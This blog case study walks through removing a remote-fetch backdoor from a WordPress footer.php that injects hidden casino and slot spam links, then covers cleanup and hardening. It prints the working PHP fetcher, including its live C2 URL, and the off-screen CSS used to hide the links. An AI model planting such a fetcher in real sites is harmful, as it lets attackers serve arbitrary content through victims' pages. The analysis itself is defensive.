Hidden Links Malware in WordPress: How a Remote-Fetch footer.php Backdoor Injects Casino & Slot Spam
Quick answer: Hidden links malware in WordPress is most often a remote-fetch backdoor — a tiny PHP snippet (usually inside footer.php) that pulls a list of casino, slot, pharma, or counterfeit links from an attacker-controlled server on every page load and prints them inside an off-screen <div>. Visitors don’t see the links; Googlebot does. To remove it: back up, delete the fetcher snippet from your theme, scan files + database for related backdoors, rotate all credentials, and request a Search Console review.
Key takeaways
- What it is: A black-hat SEO injection that adds invisible casino/slot/pharma backlinks to your site to pass authority to attacker-owned domains.
- The new pattern (2025): Most cleanups I’m doing this year aren’t hard-coded link blocks — they’re remote-fetch backdoors that download fresh spam HTML from a C2 server every request, so the visible spam changes daily.
- Where it hides:
footer.phpin 80% of my cases, thenheader.php,functions.php, and the database (wp_options,wp_posts). - How it stays hidden: Off-screen CSS like
position:absolute; left:-989999999999px;— neverdisplay:none, because some search crawlers ignore that. - Why it survives “cleanups”: The fetcher is small (10–30 lines). Site owners delete the visible spam list in HTML but miss the snippet that re-pulls it.
- This case: Found in
footer.php, fetching from an Indonesian C2 domain that itself is a compromised legitimate site.
What is hidden links malware (and why “remote-fetch” matters)
Hidden links malware — sometimes called link injection spam, SEO spam injection, or spamdexing — is malicious code that adds invisible outbound links to your WordPress pages. The attacker’s goal is simple: borrow your domain authority to rank their spam pages (casino, slot, pharma, replica goods, adult content) in Google.
What changed in the last 18 months is the delivery mechanism. Older infections hard-coded a block of spam HTML directly into footer.php. That’s easy to find with a simple grep. Newer infections — including the one I’m walking through here — use a remote-fetch backdoor: a tiny PHP function that downloads the spam list from a remote URL on every page load.
This matters for three reasons:
- The visible spam rotates. The attacker can swap target keywords from “viagra cheap” to “slot gacor” to “mahjong ways” without re-hacking your site.
- Static malware scanners miss it. The local fingerprint is just a generic
file_get_contents()call — not a known signature. - “Cleaning” the visible HTML doesn’t fix anything. If you only delete the rendered links and leave the fetcher, the spam comes back on the next page load.
I separated this out from my WordPress pharma hack guide and my Japanese keyword hack guide because the remote-fetch family behaves differently — and ignoring that difference is the #1 reason cleanups fail and the spam returns within days.
The case: a remote-fetch backdoor in footer.php
The infected site I’ll reference here was a small B2B WordPress installation. The owner only noticed because Google Search Console flagged “Security Issues — URLs containing user-generated spam” and a site:domain.com slot query returned roughly 600 indexed gambling pages that didn’t exist on the actual site.
The spam wasn’t in the database. It wasn’t in wp-content/uploads. There were no rogue admin users. The site’s own pages, when viewed in a browser, looked completely fine. But viewing the page source revealed a giant block of casino and slot anchor tags wedged just before the closing </body> tag — and that block was different on every refresh.
Walking back from the rendered HTML to the template, the trail led to wp-content/themes/[active-theme]/footer.php. At the bottom of the file, just above wp_footer(), sat this:
<?php
$url = "https://nawalaku.my.id/bl/";
function fetch($url) {
if (ini_get('allow_url_fopen') && ($d = @file_get_contents($url))) return $d;
if (function_exists('curl_init')) {
$c = curl_init($url);
curl_setopt_array($c, [
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_USERAGENT => 'Mozilla/5.0',
CURLOPT_TIMEOUT => 10
]);
$d = curl_exec($c);
curl_close($c);
if ($d) return $d;
}
$ctx = stream_context_create([
'http' => ['header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 10]
]);
if ($d = @file_get_contents($url, false, $ctx)) return $d;
return '';
}
echo fetch($url);
?>

That’s it. Twenty-five lines. No obfuscation. No base64_decode, no eval, no gzinflate — the things most malware scanners look for. Just three legitimate ways to make an outbound HTTP request, with the response echoed straight into the page.
What this fetcher actually does
- Tries
file_get_contentsfirst — works on most shared hosts whereallow_url_fopenis on. - Falls back to cURL — covers hosts where
fopenURL wrappers are disabled. - Falls back to a stream context — covers edge cases where neither of the first two works.
- Spoofs a Mozilla User-Agent so the C2 server treats it as a normal browser, not a script.
- Suppresses errors with
@so a temporarily-unreachable C2 server never breaks the page. - Echoes the response unconditionally — whatever the attacker sends, your site prints.
The C2 endpoint (in this case nawalaku[.]my[.]id/bl/) returns an HTML block containing 50–200 gambling and slot anchor tags wrapped in an off-screen <div>:
<div style="position:absolute; left:-989999999999px; top:-999999px; width:1px; height:1px; overflow:hidden;">
<a href="hxxps://example-slot[.]com/gacor">slot gacor hari ini</a>
<a href="hxxps://example-slot[.]com/mahjong">mahjong ways 2</a>
...
</div>
That CSS pushes the content roughly a trillion pixels to the left of the viewport. A human will never scroll that far. Googlebot reads the DOM, doesn’t care about visual position, and indexes every link.
Casino & slot spam vs. pharma vs. Japanese keyword hack
If you’ve read about WordPress SEO spam before, you’ve probably seen guides on the pharma hack or the Japanese keyword hack. They’re related but not identical — and treating them as the same thing is why cleanups fail.
| Variant | What it injects | Typical entry point | Hiding technique |
|---|---|---|---|
| Casino / slot spam (this article) | Gambling, slot, mahjong, judi online links | Theme files (footer.php), remote fetcher |
Off-screen CSS, dynamic remote payload |
| Pharma hack | Viagra, Cialis, weight-loss pill links | Conditional cloaking in functions.php + DB wp_options |
User-agent cloaking (only shows to Googlebot) |
| Japanese keyword hack | Japanese-character spam pages | Rogue .html/.php files in random subdirectories |
Generates thousands of new indexable URLs |
Casino spam is the variant exploding fastest right now. It’s the one I get the most cleanup requests for in 2025–2026, partly because the spam network behind it is huge and partly because the remote-fetch delivery makes it survive routine scans.
For the other two variants, see my pharma hack guide and Japanese keyword hack guide.
Signs your site is infected (3 fast checks)

1. Site search reveals pages you didn’t write
In Google, run:
site:yourdomain.com slot
site:yourdomain.com gacor
site:yourdomain.com mahjong
site:yourdomain.com judi
If you see indexed pages for keywords your site shouldn’t rank for — especially with Indonesian or Vietnamese language fragments — you have an injection. Also try site:yourdomain.com viagra and site:yourdomain.com 賭場 to rule out parallel pharma or Chinese-keyword infections.
2. View-source for off-screen blocks
Open your homepage, right-click → View Page Source (not “Inspect” — the rendered DOM can hide things), and Ctrl+F for these strings:
position:absoluteleft:-9(covers-9999px,-989999999999px, etc.)text-indent:-9999visibility:hiddendisplay:nonefollowed by <a> tagsfont-size:0color:whiteorcolor:#fffnext to anchor tags
Any of these next to a block of anchor tags is the smoking gun.
3. Search Console & security headers
In Search Console, check Security Issues and Manual Actions. Also pull up Performance → Search Results, set the date range to the last 28 days, and sort by Clicks. If you see queries you’ve never targeted (especially gambling-related), the malware has been there long enough to attract impressions.
For free third-party verification, run Sucuri SiteCheck — it’ll flag the off-screen div pattern and any blacklist hits.

How to remove the remote-fetch backdoor (step by step)
Order matters here. Don’t skip steps — especially the credential rotation. I’ve cleaned a lot of sites where the owner removed the visible code, didn’t change passwords, and got reinfected within 24 hours through the same compromised hosting account.
Step 1 — Full backup first
Even on an infected site, take a fresh files-and-database backup before touching anything. If you break something during cleanup you’ll want a restore point. Use UpdraftPlus or All-in-One WP Migration; download the backup off-server.
Step 2 — Enable maintenance mode
You don’t want visitors hitting the spam during cleanup. Drop a .maintenance file in the WordPress root or use a maintenance plugin briefly.
Step 3 — Find and delete the fetcher
Via SSH or your host’s file manager:
cd wp-content/themes/[your-active-theme]
grep -rn "file_get_contents" .
grep -rn "curl_exec" .
grep -rn "stream_context_create" .
grep -rn "fsockopen" .
Open every match. A legitimate theme almost never makes outbound HTTP requests from footer.php, header.php, or functions.php. If you see those functions in those files, that’s your fetcher. Delete the entire snippet.
Then check these specific files in order of frequency:
footer.php— my #1 finding (this case)header.phpfunctions.php— look foradd_action('wp_footer', ...)oradd_action('wp_head', ...)hooked to suspicious functionsindex.phpin theme rootwp-blog-header.php— covered in my wp-blog-header.php regenerate malware case study- Any
.phpfile inwp-content/uploads/— should never exist
Step 4 — Hunt the secondary backdoor
Here’s the part most DIY cleanups miss: the fetcher is rarely the only thing the attacker left behind. Whoever uploaded that snippet had write access to your filesystem — meaning they almost certainly planted a re-entry backdoor too.
Look for:
- Recently modified files in the last 30 days:
find . -type f -name "*.php" -mtime -30 - Files with names mimicking core:
wp-cache.php,wp-tmp.php,class-wp-config.php(anywp-*file in the wrong directory) - PHP files in
wp-content/uploads,wp-content/upgrade, or anywhere outside themes/plugins - Suspicious
functions.phphooks callingeval,assert,create_function,preg_replacewith the/emodifier
If this part feels overwhelming, it’s because backdoors are designed to look benign. My deep-dive on this is in how I found a hidden backdoor in a client’s WordPress site.
Step 5 — Audit the database
Even though the spam in this case was rendered from a remote source, attackers often leave a parallel injection in the DB so they have two paths in. Run these queries via phpMyAdmin or WP-CLI:
SELECT * FROM wp_options WHERE option_value LIKE '%position:absolute%';
SELECT * FROM wp_options WHERE option_value LIKE '%file_get_contents%';
SELECT * FROM wp_posts WHERE post_content LIKE '%left:-9%';
SELECT * FROM wp_users WHERE user_registered > '2024-01-01';
Any unfamiliar admin users get deleted. Any rows containing off-screen CSS get cleaned manually.
Step 6 — Update everything, rotate everything
- WordPress core, all plugins, all themes
- Delete unused/inactive plugins and themes (every inactive plugin is still attack surface)
- Replace any nulled plugins with legitimate copies — nulled software is the entry point in roughly 60% of the cases I see (why nulled plugins are dangerous)
- Rotate: WordPress admin passwords, hosting cPanel password, FTP/SFTP passwords, database password, API keys, and the WordPress salts in
wp-config.php - Force-logout all sessions (Users → All Users → Log Out Everywhere Else for each admin)
- Enable 2FA on every admin account
Step 7 — Clean the search index
Even after the malware is gone, Google will keep showing the spam pages until it re-crawls. Speed that up:
- In Search Console, submit a fresh sitemap.
- Use the URL Inspection Tool to request reindexing of your most important pages.
- For spam URLs that point to pages that don’t exist on your site, use the Removals tool to temporarily hide them.
- If you have a manual action, request a review and explain in 2–3 sentences exactly what you removed.
For large-scale cleanup of indexed spam pages, see my case study on removing 50,000 spam URLs from Google after a keyword hack.
Hardening (so this doesn’t come back)
The single most-asked question after a cleanup is “why did this happen?” Honest answer from 4,500+ cleanups: it’s almost always one of four things — outdated software, nulled plugins, weak admin passwords, or a compromised shared-hosting neighbor. Fixing those four covers most reinfection cases.
Block PHP execution in uploads. Add this to wp-content/uploads/.htaccess:
<Files *.php>
deny from all
</Files>
Disable file editing from wp-admin. Even if an attacker gets a low-level admin login, they can’t edit theme files in the dashboard:
// wp-config.php
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);
Force HTTPS-only admin and 2FA on all admin accounts. Wordfence, MiniOrange, or Solid Security all do this in two clicks.
File integrity monitoring. Wordfence sends you an email any time a core or theme file changes. With remote-fetch malware, this is the fastest detection method — the moment footer.php changes outside of an update, you get a warning.
Weekly five-minute audit. Every Monday, run site:yourdomain.com slot, site:yourdomain.com viagra, and site:yourdomain.com 賭場 in Google. If they return zero results, you’re clean. This is the cheapest early-warning system that exists. More on long-term defense in why WordPress malware keeps coming back.
The infrastructure behind casino spam (brief threat intel)
The C2 domain in this incident (nawalaku[.]my[.]id) is part of a larger Indonesian gambling-affiliate spam network. According to multiple Indonesian government and security sources, this network has compromised hundreds of legitimate .go.id (government), .ac.id (academic), and .mil.id (military) domains in Indonesia, plus thousands of small WordPress sites globally that act as either content hosts or remote-fetch nodes. Indonesian authorities reported handling 683 such compromised institutional domains by late 2023, with the count rising into the millions of indexed spam pages by 2024.
What this means for you: if your remote-fetch URL points to a .my.id, .go.id, .ac.id, .id, or generic-looking Indonesian domain, you’re looking at the same family. The fix above works for all variants — only the C2 URL changes.
FAQs
Is this the same as the pharma hack?
No. The pharma hack typically uses cloaking (showing different content to Googlebot vs. real users) and lives in wp_options or modified plugin files. Casino/slot spam in 2025 uses remote-fetch delivery from footer.php and shows the same off-screen content to everyone — bots and humans alike, with humans just not seeing it visually.
I deleted the spam links in the rendered HTML, but they came back. Why?
Because you deleted the output, not the source. The fetcher inside footer.php regenerates the spam list on every page load. You have to find and delete the PHP snippet, not the HTML it prints.
Will my Google rankings recover?
Usually, yes — but not instantly. Once the malware is gone and you’ve requested reindexing, expect 2–6 weeks for Google to drop the spam pages and partially restore your rankings. Sites that had a manual action take longer because a human reviewer has to approve the reconsideration request. I documented one such recovery in recovering from SEO spam: 242,000 spam pages cleared.
Can a free Wordfence scan find this?
Sometimes. Wordfence’s signature database catches the most common remote-fetch patterns, but a custom variant with an unfamiliar C2 URL can slip through. The view-source check (Step 2 above) is more reliable than any single scanner.
Do I have to switch hosts?
Not necessarily. But if your hosting account is on shared hosting and you’ve been hacked twice on the same plan, the entry point may be a neighbor on the same server, not your site. In that case, moving to a hardened managed-WordPress host (SiteGround, Kinsta, WP Engine) is the single biggest reinfection-prevention step you can take. My breakdown is in my SiteGround review after 4,500 cleanups.
What if I find the same fetcher in functions.php, not footer.php?
Same removal process — just be more careful. functions.php often legitimately contains hooks and filters, so don’t bulk-delete the file. Open it, find the snippet that calls file_get_contents or curl_exec to a non-WordPress domain, and delete only that block.
Post-cleanup checklist
Once the fetcher is removed and credentials rotated, walk through my post-cleanup checklist from real cleanups — it covers the things people typically forget (transients, wp-cron, abandoned hosting accounts, leaked API keys) that cause the same site to get reinfected three weeks later.
Conclusion
Hidden links malware in 2025–2026 isn’t the same problem it was three years ago. The hard-coded link blocks that older guides describe are now the minority of cases. What I’m cleaning today is overwhelmingly the remote-fetch backdoor family — small, signature-light PHP snippets in footer.php that pull casino, slot, and gambling spam from external C2 servers on every page load.
The cleanup is straightforward once you know what you’re looking for: find the fetcher, kill it, hunt the secondary backdoor, rotate every credential, harden the entry points, and request reindexing. The hard part is being thorough enough that the site stays clean — and that’s where most DIY cleanups fall short.
Need it cleaned today? I’ve removed this exact malware family from hundreds of sites. WordPress malware removal — same-day turnaround, fixed price, with a 30-day reinfection guarantee. If you’re already on a Google blacklist, see my Google blacklist removal service. Or just hire me directly and we’ll get on a call.